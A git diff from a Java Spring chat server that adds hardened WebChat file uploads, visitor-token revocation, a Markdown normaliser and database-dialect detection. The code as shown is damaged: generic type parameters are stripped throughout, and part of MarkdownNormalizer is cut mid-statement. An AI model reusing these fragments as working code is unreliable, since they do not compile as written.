+import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Arrays; +import java.util.Locale; +import java.util.Optional; +import java.util.Set; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * Storage + validation for files exchanged over the WebChat channel. + * + *

    WebChat is reached by untrusted external visitors (API key + visitor + * token, no JWT), so uploads are hardened here: size cap, extension allow-list, + * filename sanitization, and a server-issued stored name. Every path is derived + * from the server-computed {@code conversationId} — never from a client-supplied + * path — and download resolution is traversal-guarded. + * + *

    Uploads are staged in an in-memory registry keyed by an opaque file id. + * Only when the visitor references that id on the next {@code /stream} call does + * the file become a real conversation attachment (the bytes already live under + * the conversation's upload dir, so cleanup rides the existing + * {@code cleanAttachmentFiles} cascade). Unreferenced staged files are swept + * after {@link #STAGING_TTL_MS}. + */ +@Slf4j +@Service +public class WebChatFileService { + + /** Shared with the JWT chat upload dir so deleteConversation cleanup applies. */ + private static final Path UPLOAD_ROOT = Paths.get("data", "chat-uploads"); + + /** How long an uploaded-but-unreferenced file lingers before the sweep removes it. */ + private static final long STAGING_TTL_MS = 60 * 60 * 1000L; // 1 hour + + private final boolean enabled; + private final long maxSizeBytes; + private final Set allowedExtensions; + private final int maxFilesPerConversation; + private final long maxTotalBytesPerConversation; + + /** fileId (== storedName) -> staged metadata, pending a /stream reference. */ + private final ConcurrentHashMap staged = new ConcurrentHashMap<>(); + + public WebChatFileService( + @Value("${mateclaw.webchat.upload.enabled:true}") boolean enabled, + @Value("${mateclaw.webchat.upload.max-size-mb:20}") long maxSizeMb, + @Value("${mateclaw.webchat.upload.allowed-extensions:" + + "png,jpg,jpeg,gif,webp,bmp,pdf,txt,md,csv,json,log," + + "doc,docx,xls,xlsx,ppt,pptx,zip,mp3,wav,m4a,mp4,mov,webm}") String allowedExtensionsCsv, + @Value("${mateclaw.webchat.upload.max-files-per-conversation:50}") int maxFilesPerConversation, + @Value("${mateclaw.webchat.upload.max-total-mb-per-conversation:200}") long maxTotalMbPerConversation) { + this.enabled = enabled; + this.maxSizeBytes = maxSizeMb * 1024 * 1024; + this.allowedExtensions = Arrays.stream(allowedExtensionsCsv.split(",")) + .map(s -> s.trim().toLowerCase(Locale.ROOT)) + .filter(s -> !s.isEmpty()) + .collect(Collectors.toUnmodifiableSet()); + this.maxFilesPerConversation = maxFilesPerConversation; + this.maxTotalBytesPerConversation = maxTotalMbPerConversation * 1024 * 1024; + } + + /** Metadata for a staged upload. */ + public record StagedFile(String conversationId, String storedName, String originalName, + String contentType, long size, long expireAt) { + boolean expired() { + return System.currentTimeMillis() > expireAt; + } + } + + /** Thrown on any validation failure; the controller maps it to a 4xx. */ + public static class UploadRejectedException extends RuntimeException { + public UploadRejectedException(String message) { + super(message); + } + } + + public boolean isEnabled() { + return enabled; + } + + /** + * Validate and store an uploaded file under the conversation's upload dir, + * returning a staged record whose {@code storedName} doubles as the opaque + * file id the visitor references on the next /stream call. + * + * @param conversationId server-derived conversation id (never client-supplied) + */ + public StagedFile store(String conversationId, MultipartFile file) throws IOException { + if (!enabled) { + throw new UploadRejectedException("WebChat file upload is disabled"); + } + if (file == null || file.isEmpty()) { + throw new UploadRejectedException("Empty file"); + } + if (file.getSize() > maxSizeBytes) { + throw new UploadRejectedException("File too large (max " + (maxSizeBytes / 1024 / 1024) + " MB)"); + } + + String originalName = file.getOriginalFilename() != null ? file.getOriginalFilename() : "file"; + // Strip any directory components, then collapse to a safe charset. + String baseName = Paths.get(originalName).getFileName().toString(); + String ext = extensionOf(baseName); + if (ext.isEmpty() || !allowedExtensions.contains(ext)) { + throw new UploadRejectedException("File type not allowed: ." + ext); + } + String safeName = baseName.replaceAll("[^a-zA-Z0-9._-]", "_"); + + String storedName = UUID.randomUUID() + "_" + safeName; + Path dir = UPLOAD_ROOT.resolve(conversationId).normalize(); + if (!dir.startsWith(UPLOAD_ROOT.normalize())) { + // conversationId is server-derived, so this should never happen; fail closed if it does. + throw new UploadRejectedException("Invalid conversation"); + } + Files.createDirectories(dir); + enforceConversationQuota(dir, file.getSize()); + Path target = dir.resolve(storedName); + file.transferTo(target.toAbsolutePath()); + + String contentType = Optional.ofNullable(file.getContentType()) + .filter(ct -> !ct.isBlank()) + .orElseGet(() -> probe(target)); + + StagedFile entry = new StagedFile(conversationId, storedName, baseName, contentType, + file.getSize(), System.currentTimeMillis() + STAGING_TTL_MS); + staged.put(storedName, entry); + log.info("[webchat-file] Stored upload conv={} stored={} type={} size={}", + conversationId, storedName, contentType, file.getSize()); + return entry; + } + + /** + * Resolve a staged file id into its metadata, asserting it belongs to this + * conversation and has not expired. Consuming it removes the staging entry + * (the bytes remain as a committed conversation attachment). Returns empty + * if the id is unknown, expired, or belongs to another conversation. + */ + public Optional consume(String conversationId, String fileId) { + if (fileId == null) { + return Optional.empty(); + } + StagedFile entry = staged.get(fileId); + if (entry == null || entry.expired() || !entry.conversationId().equals(conversationId)) { + return Optional.empty(); + } + staged.remove(fileId); + return Optional.of(entry); + } + + /** + * Traversal-safe resolution of a stored file under the conversation's dir. + * Both the dir and the final path are derived from the server-computed + * conversationId; the client-supplied {@code storedName} is confined by the + * {@code startsWith} guard. Returns empty if missing or escaping the dir. + */ + public Optional resolve(String conversationId, String storedName) { + if (storedName == null || storedName.isBlank()) { + return Optional.empty(); + } + Path base = UPLOAD_ROOT.resolve(conversationId).normalize(); + Path file = base.resolve(storedName).normalize(); + if (!file.startsWith(base) || !Files.exists(file) || !Files.isRegularFile(file)) { + return Optional.empty(); + } + return Optional.of(file); + } + + /** Map a content type to the MessageContentPart type the agent/UI understands. */ + public static String partTypeFor(String contentType) { + if (contentType == null) { + return "file"; + } + String ct = contentType.toLowerCase(Locale.ROOT); + if (ct.startsWith("image/")) return "image"; + if (ct.startsWith("video/")) return "video"; + if (ct.startsWith("audio/")) return "audio"; + return "file"; + } + + /** Periodically drop staged files the visitor never referenced. */ + @Scheduled(fixedDelay = 15 * 60 * 1000L) + public void sweepExpired() { + staged.values().removeIf(entry -> { + if (!entry.expired()) { + return false; + } + resolve(entry.conversationId(), entry.storedName()).ifPresent(p -> { + try { + Files.deleteIfExists(p); + } catch (IOException e) { + log.warn("[webchat-file] Failed to delete expired staged file {}: {}", + p, e.getMessage()); + } + }); + return true; + }); + } + + /** + * Bound a conversation's disk footprint: reject when the dir already holds + * the max file count, or when adding {@code incomingSize} would push the + * total over the cap. Cheap dir scan (these dirs hold at most a few dozen + * files); pairs with the staging TTL sweep that reclaims unreferenced files. + */ + private void enforceConversationQuota(Path dir, long incomingSize) throws IOException { + int count = 0; + long total = 0; + try (Stream files = Files.list(dir)) { + for (Path p : (Iterable) files::iterator) { + if (Files.isRegularFile(p)) { + count++; + total += Files.size(p); + } + } + } + if (count >= maxFilesPerConversation) { + throw new UploadRejectedException( + "Too many files in this conversation (max " + maxFilesPerConversation + ")"); + } + if (total + incomingSize > maxTotalBytesPerConversation) { + throw new UploadRejectedException( + "Conversation upload quota exceeded (max " + + (maxTotalBytesPerConversation / 1024 / 1024) + " MB)"); + } + } + + private static String extensionOf(String name) { + int dot = name.lastIndexOf('.'); + if (dot < 0 || dot == name.length() - 1) { + return ""; + } + return name.substring(dot + 1).toLowerCase(Locale.ROOT); + } + + private static String probe(Path path) { + try { + String ct = Files.probeContentType(path); + return ct != null ? ct : "application/octet-stream"; + } catch (IOException e) { + return "application/octet-stream"; + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatRevokedVisitorEntity.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatRevokedVisitorEntity.java new file mode 100644 index 00000000..1c92ee22 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatRevokedVisitorEntity.java @@ -0,0 +1,46 @@ +package vip.mate.channel.webchat; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.time.LocalDateTime; + +/** + * Persistent registry of visitors whose {@code visitorToken} HMAC is no longer + * accepted on management endpoints (list/messages/title/delete/stop/upload/ + * regenerate). Created by V148. The unique constraint on + * {@code (channel_id, visitor_id, deleted)} makes re-revoke idempotent; + * setting {@code deleted = 1} un-revokes. + *

    + * {@code POST /stream} is intentionally NOT bound by this — a revoked visitor + * can still start a fresh {@code /stream}, which mints a new token; the + * revocation applies to the old token presented on management endpoints. + * + * @author MateClaw Team + */ +@Data +@TableName("webchat_revoked_visitor") +public class WebChatRevokedVisitorEntity { + + @TableId(type = IdType.ASSIGN_ID) + private Long id; + + private Long channelId; + + /** Visitor identifier in the same charset as {@code WebChatController.normalizeVisitorId}. */ + private String visitorId; + + private LocalDateTime revokedAt; + + /** Free-form reason (admin-supplied). Nullable. */ + private String reason; + + private LocalDateTime createTime; + + private LocalDateTime updateTime; + + /** 0 = active revocation; 1 = un-revoked (tombstoned). */ + private Integer deleted; +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatTokenRevocationService.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatTokenRevocationService.java new file mode 100644 index 00000000..b9ffdff5 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatTokenRevocationService.java @@ -0,0 +1,134 @@ +package vip.mate.channel.webchat; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.github.benmanes.caffeine.cache.Cache; +import com.github.benmanes.caffeine.cache.Caffeine; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import vip.mate.channel.webchat.repository.WebChatRevokedVisitorMapper; + +import java.time.Duration; +import java.time.LocalDateTime; + +/** + * Visitor-token revocation lookup with a process-local Caffeine cache in front + * of the {@code webchat_revoked_visitor} table. + * + *

    The cache is best-effort: a revoked visitor may take up to + * {@link #CACHE_TTL} to become effectively revoked on a node that has the + * un-revoked entry cached. We accept that window — webchat is low-volume — + * rather than pay a DB round-trip on every management endpoint call. For + * multi-instance deployments the same eventual-consistency applies + * independently per node; the DB remains the source of truth and a fresh + * node sees revocations immediately on cold cache. + * + *

    All operations are idempotent: revoking an already-revoked visitor is a + * no-op (the row's {@code revokedAt} is updated for record-keeping); + * un-revoking an un-revoked one is also a no-op. + * + * @author MateClaw Team + */ +@Slf4j +@Service +@RequiredArgsConstructor +public class WebChatTokenRevocationService { + + static final Duration CACHE_TTL = Duration.ofMinutes(5); + private static final int CACHE_MAX_SIZE = 10_000; + + private final WebChatRevokedVisitorMapper revokedVisitorMapper; + + /** + * Keyed by "{channelId}:{visitorId}". Value is true when an active + * revocation row exists, false otherwise. absence means "not cached"; + * callers must treat null as "fall through to DB". + */ + private final Cache revocationCache = Caffeine.newBuilder() + .expireAfterWrite(CACHE_TTL) + .maximumSize(CACHE_MAX_SIZE) + .build(); + + /** + * True if this visitor is currently revoked on this channel. Pads the + * cache miss with a single DB lookup; the result is then cached for + * {@link #CACHE_TTL}. + */ + public boolean isRevoked(Long channelId, String visitorId) { + if (channelId == null || visitorId == null) { + return false; + } + String key = channelId + ":" + visitorId; + Boolean cached = revocationCache.getIfPresent(key); + if (cached != null) { + return cached; + } + boolean revoked = lookupRevoked(channelId, visitorId); + revocationCache.put(key, revoked); + return revoked; + } + + /** + * Record a revocation. Idempotent: re-revoking an already-revoked visitor + * refreshes {@code revokedAt} + {@code reason} on the existing row. + * Flushes the cache so the change is visible immediately on this node. + */ + public void revoke(Long channelId, String visitorId, String reason) { + WebChatRevokedVisitorEntity existing = findActive(channelId, visitorId); + LocalDateTime now = LocalDateTime.now(); + if (existing == null) { + WebChatRevokedVisitorEntity row = new WebChatRevokedVisitorEntity(); + row.setChannelId(channelId); + row.setVisitorId(visitorId); + row.setReason(reason); + row.setRevokedAt(now); + row.setCreateTime(now); + row.setUpdateTime(now); + row.setDeleted(0); + revokedVisitorMapper.insert(row); + } else { + existing.setReason(reason); + existing.setRevokedAt(now); + existing.setUpdateTime(now); + revokedVisitorMapper.updateById(existing); + } + revocationCache.put(channelId + ":" + visitorId, true); + log.info("[WebChat] visitor revoked: channelId={}, visitorId={}, reason={}", + channelId, visitorId, reason); + } + + /** + * Lift a revocation. Idempotent. Removes the cache entry so subsequent + * {@link #isRevoked} calls re-query the DB (and find nothing). + */ + public void unrevoke(Long channelId, String visitorId) { + WebChatRevokedVisitorEntity existing = findActive(channelId, visitorId); + if (existing != null) { + existing.setDeleted(1); + existing.setUpdateTime(LocalDateTime.now()); + revokedVisitorMapper.updateById(existing); + } + // Invalidate rather than put(false): the un-revoke may race with a + // concurrent revoke on another node. Forcing a DB re-lookup is safer. + revocationCache.invalidate(channelId + ":" + visitorId); + log.info("[WebChat] visitor un-revoked: channelId={}, visitorId={}", + channelId, visitorId); + } + + private boolean lookupRevoked(Long channelId, String visitorId) { + return findActive(channelId, visitorId) != null; + } + + private WebChatRevokedVisitorEntity findActive(Long channelId, String visitorId) { + return revokedVisitorMapper.selectOne(new LambdaQueryWrapper() + .eq(WebChatRevokedVisitorEntity::getChannelId, channelId) + .eq(WebChatRevokedVisitorEntity::getVisitorId, visitorId) + .eq(WebChatRevokedVisitorEntity::getDeleted, 0) + .last("LIMIT 1")); + } + + /** Test-only: drop every cached entry so the next isRevoked() falls through to DB. */ + void invalidateCacheForTest() { + revocationCache.invalidateAll(); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/repository/WebChatRevokedVisitorMapper.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/repository/WebChatRevokedVisitorMapper.java new file mode 100644 index 00000000..90e3e3cb --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/repository/WebChatRevokedVisitorMapper.java @@ -0,0 +1,13 @@ +package vip.mate.channel.webchat.repository; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; +import vip.mate.channel.webchat.WebChatRevokedVisitorEntity; + +/** + * Mapper for {@link WebChatRevokedVisitorEntity}. Lives under {@code repository} + * so the application-wide {@code @MapperScan("vip.mate.**.repository")} picks it up. + */ +@Mapper +public interface WebChatRevokedVisitorMapper extends BaseMapper { +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/wecom/WeComChannelAdapter.java b/mateclaw-server/src/main/java/vip/mate/channel/wecom/WeComChannelAdapter.java index 5243857c..1f690284 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/wecom/WeComChannelAdapter.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/wecom/WeComChannelAdapter.java @@ -1502,7 +1502,7 @@ public class WeComChannelAdapter extends AbstractChannelAdapter { * each adapter rewrites the URL to a channel-native attachment. */ private static final java.util.regex.Pattern GENERATED_URL_PATTERN = - java.util.regex.Pattern.compile("/api/v1/files/generated/([a-zA-Z0-9-]+)"); + java.util.regex.Pattern.compile("(?:https?://[^/\\s)\\]]+)?/api/v1/files/generated/([a-zA-Z0-9-]+)"); /** * Scan the agent's text for {@code /api/v1/files/generated/{id}} URLs; @@ -2870,6 +2870,16 @@ public class WeComChannelAdapter extends AbstractChannelAdapter { // Fallback: download disabled or failed. Browser preview will be broken // because the WeCom CDN URL carries a short-lived signature, but at // least the bubble shows "image.jpg" instead of "未命名 / unknown". + // The image is also unusable by the model: the URL points at AES-encrypted + // bytes (when aeskey is present) and expires in ~5 minutes, so without a + // local download the agent can only report "file not found". Warn loudly so + // operators know to enable media download rather than chase a phantom bug. + boolean encrypted = aesKey != null && !aesKey.isBlank(); + log.warn("[wecom] Inbound image '{}' stored URL-only ({} download). The model " + + "cannot read it — enable 'media_download_enabled' on this channel. " + + "url={}", fileNameHint, + getConfigBoolean("media_download_enabled", true) ? "failed" : "disabled", + encrypted ? "" : url); MessageContentPart part = new MessageContentPart(); part.setType("image"); part.setFileName(fileNameHint); diff --git a/mateclaw-server/src/main/java/vip/mate/common/text/MarkdownNormalizer.java b/mateclaw-server/src/main/java/vip/mate/common/text/MarkdownNormalizer.java new file mode 100644 index 00000000..c643a80c --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/common/text/MarkdownNormalizer.java @@ -0,0 +1,293 @@ +package vip.mate.common.text; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * 确定性 Markdown 规范化工具。 + * + *

    用于在 Agent 最终答案落库 / 发渠道前,修复 LLM 原始输出中常见的机械排版缺陷。纯本地正则处理, + * 不调用任何模型(零 token)。设计目标是「修畸形而不改语义」,因此遵循以下原则:

    + * + *
      + *
    • 代码块感知:先按 ``` / ~~~ 围栏切分,围栏内的内容原样保留,避免破坏代码里的 + * {@code #} / {@code |} / {@code ---}。
    • + *
    • 幂等:{@code normalize(normalize(x)).equals(normalize(x))}。
    • + *
    • 保守:只在能高置信判断为畸形时才改写,散文中的散落管道符、行内 {@code #} 不动。
    • + *
    + * + *

    覆盖的修复:ATX 标题补空格、{@code ---} 与后续内容粘连时拆行(含行首与 mid-line 后接标题两种)、 + * 表格块单元格与分隔行对齐、标题与表格粘连时拆行、标题/表格块边界补空行。

    + * + *

    不在范围内(属语义判断,正则无法安全自动化,保留在提示词约束):Emoji 位置、代码块语言标注补全。

    + */ +public final class MarkdownNormalizer { + + private MarkdownNormalizer() {} + + /** 行首 ATX 标题但紧跟非空格、非 # 字符(缺少标题空格)。 */ + private static final Pattern HEADING_NO_SPACE = Pattern.compile("^(#{1,6})([^#\\s].*)$"); + + /** 已规范的标题行:#{1,6} + 空白。用于块边界判断。 */ + private static final Pattern HEADING_LINE = Pattern.compile("^#{1,6}\\s.*$"); + + /** 主题分隔线与后续内容粘连:行首 3+ 短横,后面紧跟非短横的可见内容。 */ + private static final Pattern HR_GLUED = Pattern.compile("^(-{3,})([^-\\s].*)$"); + + /** + * 主题分隔线粘连在「行内容之后」(mid-line),且后面紧跟一个 ATX 标题。 + * 形如 {@code *来源…2026-06-01*---### 二、…} 或 {@code **90%**---### 综合判断}。 + * 仅在 {@code ---} 后紧跟 {@code #} 标题时才拆,避免误伤散文里 em-dash 风格的 {@code ---}。 + */ + private static final Pattern HR_MID_HEADING = + Pattern.compile("^(.*?\\S)\\s*(-{3,})\\s*(#{1,6}.*)$"); + + /** 标题行尾粘连了表格:#{1,6} 标题文字(不含管道符)+ 管道符起始的尾部。 */ + private static final Pattern HEADING_TABLE = Pattern.compile("^(#{1,6}[^|\\n]*?)\\s*(\\|.+)$"); + + /** GFM 表格分隔行:由短横/冒号组成的单元格,用管道符分隔(必须同时含 - 与 |)。 */ + private static final Pattern SEPARATOR_ROW = + Pattern.compile("^\\s*\\|?\\s*:?-{1,}:?\\s*(\\|\\s*:?-{1,}:?\\s*)*\\|?\\s*$"); + + /** + * 规范化 Markdown 文本。{@code null} 或空串原样返回。 + */ + public static String normalize(String md) { + if (md == null || md.isEmpty()) { + return md; + } + String normalized = md.replace("\r\n", "\n").replace("\r", "\n"); + String[] lines = normalized.split("\n", -1); + + List out = new ArrayList<>(); + List textBuf = new ArrayList<>(); + boolean inFence = false; + String fenceMarker = null; + + for (String line : lines) { + String lead = line.stripLeading(); + if (!inFence && (lead.startsWith("```") || lead.startsWith("~~~"))) { + flushText(textBuf, out); + textBuf.clear(); + inFence = true; + fenceMarker = lead.startsWith("```") ? "```" : "~~~"; + out.add(line); + } else if (inFence && lead.startsWith(fenceMarker)) { + inFence = false; + fenceMarker = null; + out.add(line); + } else if (inFence) { + out.add(line); + } else { + textBuf.add(line); + } + } + flushText(textBuf, out); + + String result = String.join("\n", out); + // 仅清理文档首尾多余空行,不触碰代码块内部 + return result.replaceAll("^\\n+", "").replaceAll("\\n+$", ""); + } + + // ==================== 非代码段处理 ==================== + + private static void flushText(List textLines, List out) { + if (textLines.isEmpty()) { + return; + } + // 1. 行级展开:HR 粘连拆行、标题粘表格拆行、标题补空格 + List expanded = new ArrayList<>(); + for (String l : textLines) { + expanded.addAll(expandLine(l)); + } + // 2. 表格块识别与规范化 + List normalizedLines = new ArrayList<>(); + List isTable = new ArrayList<>(); + normalizeTables(expanded, normalizedLines, isTable); + // 3. 标题/表格块边界补空行 + 折叠多余空行 + out.addAll(insertBoundaryBlanks(normalizedLines, isTable)); + } + + private static List expandLine(String line) { + List result = new ArrayList<>(); + + Matcher hrMid = HR_MID_HEADING.matcher(line); + if (hrMid.matches()) { + result.addAll(expandLine(hrMid.group(1))); + result.add(""); + result.add("---"); + result.add(""); + result.addAll(expandLine(hrMid.group(3))); + return result; + } + + Matcher hr = HR_GLUED.matcher(line); + if (hr.matches()) { + result.add("---"); + result.add(""); + result.addAll(expandLine(hr.group(2))); + return result; + } + + Matcher ht = HEADING_TABLE.matcher(line); + if (ht.matches() && countPipes(ht.group(2)) >= 2) { + result.add(fixHeadingSpace(ht.group(1).strip())); + result.add(""); + result.add(ht.group(2).strip()); + return result; + } + + result.add(fixHeadingSpace(line)); + return result; + } + + /** + * 行首 ATX 标题缺空格时补一个空格。为避免误伤 {@code #5}、{@code #1} 这类引用, + * 紧跟数字的不处理。 + */ + private static String fixHeadingSpace(String line) { + Matcher m = HEADING_NO_SPACE.matcher(line); + if (m.matches()) { + String hashes = m.group(1); + String rest = m.group(2); + if (!Character.isDigit(rest.charAt(0))) { + return hashes + " " + rest; + } + } + return line; + } + + // ==================== 表格规范化 ==================== + + private static void normalizeTables(List lines, List out, List isTable) { + int n = lines.size(); + boolean[] tbl = new boolean[n]; + for (int i = 0; i < n; i++) { + if (isSeparatorRow(lines.get(i)) && i > 0 && containsPipe(lines.get(i - 1))) { + int start = i - 1; + int end = i; + int j = i + 1; + while (j < n && !lines.get(j).isBlank() && containsPipe(lines.get(j)) + && !HEADING_LINE.matcher(lines.get(j)).matches()) { + end = j; + j++; + } + for (int k = start; k <= end; k++) { + tbl[k] = true; + } + i = end; + } + } + for (int i = 0; i < n; i++) { + if (tbl[i]) { + out.add(normalizeTableRow(lines.get(i), isSeparatorRow(lines.get(i)))); + } else { + out.add(lines.get(i)); + } + isTable.add(tbl[i]); + } + } + + private static String normalizeTableRow(String line, boolean separator) { + String s = line.strip(); + if (s.startsWith("|")) { + s = s.substring(1); + } + if (s.endsWith("|")) { + s = s.substring(0, s.length() - 1); + } + String[] cells = s.split("(?= 0 && line.indexOf('|') >= 0 + && SEPARATOR_ROW.matcher(line).matches(); + } + + private static boolean containsPipe(String line) { + return line.indexOf('|') >= 0; + } + + private static int countPipes(String s) { + int count = 0; + for (int i = 0; i < s.length(); i++) { + if (s.charAt(i) == '|') { + count++; + } + } + return count; + } + + // ==================== 块边界空行 ==================== + + private static final int BLANK = 0; + private static final int HEADING = 1; + private static final int TABLE = 2; + private static final int OTHER = 3; + private static final int NONE = -1; + + private static List insertBoundaryBlanks(List lines, List isTable) { + List res = new ArrayList<>(); + int lastType = NONE; + for (int i = 0; i < lines.size(); i++) { + String cur = lines.get(i); + int curType = classify(cur, isTable.get(i)); + + if (curType == BLANK) { + if (lastType == BLANK || lastType == NONE) { + continue; // 折叠连续空行 / 去掉前导空行 + } + res.add(cur); + lastType = BLANK; + continue; + } + + if (lastType != NONE && lastType != BLANK && needsBlankBetween(lastType, curType)) { + res.add(""); + } + res.add(cur); + lastType = curType; + } + return res; + } + + private static boolean needsBlankBetween(int prev, int cur) { + if (cur == HEADING || prev == HEADING) { + return true; + } + if (cur == TABLE && prev != TABLE) { + return true; + } + return prev == TABLE && cur != TABLE; + } + + private static int classify(String line, boolean tableFlag) { + if (line.isBlank()) { + return BLANK; + } + if (tableFlag) { + return TABLE; + } + if (HEADING_LINE.matcher(line).matches()) { + return HEADING; + } + return OTHER; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/config/AsyncSecurityConfig.java b/mateclaw-server/src/main/java/vip/mate/config/AsyncSecurityConfig.java index ab967c1e..11d28663 100644 --- a/mateclaw-server/src/main/java/vip/mate/config/AsyncSecurityConfig.java +++ b/mateclaw-server/src/main/java/vip/mate/config/AsyncSecurityConfig.java @@ -14,6 +14,12 @@ import java.util.concurrent.Executor; * The inner delegate uses virtual threads (JDK 21); the outer * {@link DelegatingSecurityContextTaskExecutor} wrapper propagates the caller's * SecurityContext (JWT identity, audit permissions) to every @Async invocation. + *

    + * A concurrency limit is set to prevent runaway virtual-thread creation + * from exhausting the HikariCP pool (typical pattern: a stampede of + * {@code @Async} tasks all trying to acquire DB connections at the same + * minute boundary). Excess tasks are rejected immediately so the + * scheduler threads never block on submission. * * @author MateClaw Team */ @@ -21,6 +27,13 @@ import java.util.concurrent.Executor; @EnableAsync public class AsyncSecurityConfig implements AsyncConfigurer { + /** + * Cap in-flight async tasks. Well below HikariCP maximum-pool-size (30) + * so async tasks never saturate the pool on their own — non-async paths + * (HTTP requests, SSE, channel adapters) always have headroom. + */ + private static final int ASYNC_CONCURRENCY_LIMIT = 24; + @Override public Executor getAsyncExecutor() { // Keep DelegatingSecurityContextTaskExecutor so SecurityContext @@ -28,6 +41,7 @@ public class AsyncSecurityConfig implements AsyncConfigurer { // Replace the inner platform-thread pool with a virtual-thread executor. var delegate = new SimpleAsyncTaskExecutorBuilder() .virtualThreads(true) + .concurrencyLimit(ASYNC_CONCURRENCY_LIMIT) .threadNamePrefix("async-vt-") .build(); return new DelegatingSecurityContextTaskExecutor(delegate); diff --git a/mateclaw-server/src/main/java/vip/mate/config/DatabaseBootstrapRunner.java b/mateclaw-server/src/main/java/vip/mate/config/DatabaseBootstrapRunner.java index cc74d300..ebd1431c 100644 --- a/mateclaw-server/src/main/java/vip/mate/config/DatabaseBootstrapRunner.java +++ b/mateclaw-server/src/main/java/vip/mate/config/DatabaseBootstrapRunner.java @@ -38,9 +38,18 @@ public class DatabaseBootstrapRunner implements ApplicationRunner { private final DataSource dataSource; private final JdbcTemplate jdbcTemplate; - /** Cached flag: true when running on MySQL/MariaDB, false for H2. */ + /** Cached flag: true when running on MySQL/MariaDB, false for H2/Kingbase. */ private volatile Boolean isMySQL; + /** Cached flag: true when running on KingbaseES. */ + private volatile Boolean isKingbase; + + /** Cached flag: true when running on PostgreSQL. */ + private volatile Boolean isPostgres; + + /** Cached human-readable label of the connected database, e.g. "MySQL" / "H2" / "PostgreSQL". */ + private volatile String databaseLabel; + /** * When true, wait for Desktop splash screen to call /setup/init with chosen language. * When false (default), auto-initialize immediately on startup. @@ -111,6 +120,10 @@ public class DatabaseBootstrapRunner implements ApplicationRunner { String scriptName; if (isMySQL()) { scriptName = "en-US".equals(locale) ? "db/data-mysql-en.sql" : "db/data-mysql-zh.sql"; + } else if (isKingbase() || isPostgres()) { + // PostgreSQL-family seed (covers both PostgreSQL and KingbaseES, + // which share the same ON CONFLICT / SERIAL-free DDL dialect). + scriptName = "en-US".equals(locale) ? "db/data-kingbase-en.sql" : "db/data-kingbase-zh.sql"; } else { scriptName = "en-US".equals(locale) ? "db/data-en.sql" : "db/data-zh.sql"; } @@ -140,6 +153,57 @@ public class DatabaseBootstrapRunner implements ApplicationRunner { } } + /** + * Friendly product name of the currently connected database, e.g. {@code "MySQL"}, + * {@code "PostgreSQL"}, {@code "H2"} or {@code "KingbaseES"}. Read once from JDBC + * metadata and cached — the connected database never changes at runtime. + * + * @return the product name, or {@code "Unknown"} if metadata is unavailable. + */ + public String getDatabaseLabel() { + if (databaseLabel == null) { + try (Connection connection = dataSource.getConnection()) { + databaseLabel = normalizeDatabaseLabel(connection.getMetaData().getDatabaseProductName()); + } catch (Exception e) { + log.debug("Failed to read database product name: {}", e.getMessage()); + databaseLabel = "Unknown"; + } + } + return databaseLabel; + } + + /** + * Maps a raw JDBC product name to a clean, canonical label. Some drivers append + * version noise to the product name (e.g. KingbaseES reports "KingbaseES V008R006"); + * collapsing on a keyword keeps the displayed label stable across driver versions + * and consistent with the dialect this runner detects for DDL. + * + * @return a canonical label, or {@code "Unknown"} when the product name is absent. + */ + static String normalizeDatabaseLabel(String product) { + if (product == null || product.isBlank()) { + return "Unknown"; + } + String lower = product.toLowerCase(); + if (lower.contains("kingbase")) { + // KingbaseES is the product name; show the vendor's Chinese brand name. + return "人大金仓"; + } + if (lower.contains("mariadb")) { + return "MariaDB"; + } + if (lower.contains("mysql")) { + return "MySQL"; + } + if (lower.contains("postgresql")) { + return "PostgreSQL"; + } + if (lower.contains("h2")) { + return "H2"; + } + return product.trim(); + } + private boolean tableExists(String tableName) throws Exception { try (Connection connection = dataSource.getConnection()) { DatabaseMetaData metaData = connection.getMetaData(); @@ -159,15 +223,43 @@ public class DatabaseBootstrapRunner implements ApplicationRunner { try (Connection connection = dataSource.getConnection()) { String dbProduct = connection.getMetaData().getDatabaseProductName().toLowerCase(); isMySQL = dbProduct.contains("mysql") || dbProduct.contains("mariadb"); - log.info("Detected database: {} (MySQL mode: {})", dbProduct, isMySQL); + isKingbase = dbProduct.contains("kingbase"); + // KingbaseES reports its own product name ("KingbaseES"), so the + // postgres check stays mutually exclusive with the kingbase one. + isPostgres = dbProduct.contains("postgresql") && !isKingbase; + if (isKingbase) { + log.info("Detected database: {} (KingbaseES mode)", dbProduct); + } else if (isPostgres) { + log.info("Detected database: {} (PostgreSQL mode)", dbProduct); + } else { + log.info("Detected database: {} (MySQL mode: {})", dbProduct, isMySQL); + } } catch (Exception e) { log.warn("Failed to detect database type, falling back to H2 mode", e); isMySQL = false; + isKingbase = false; + isPostgres = false; } } return isMySQL; } + private boolean isKingbase() { + if (isKingbase == null) { + // Trigger detection + isMySQL(); + } + return isKingbase != null && isKingbase; + } + + private boolean isPostgres() { + if (isPostgres == null) { + // Trigger detection + isMySQL(); + } + return isPostgres != null && isPostgres; + } + private void runScript(String path) { ResourceDatabasePopulator populator = new ResourceDatabasePopulator(); 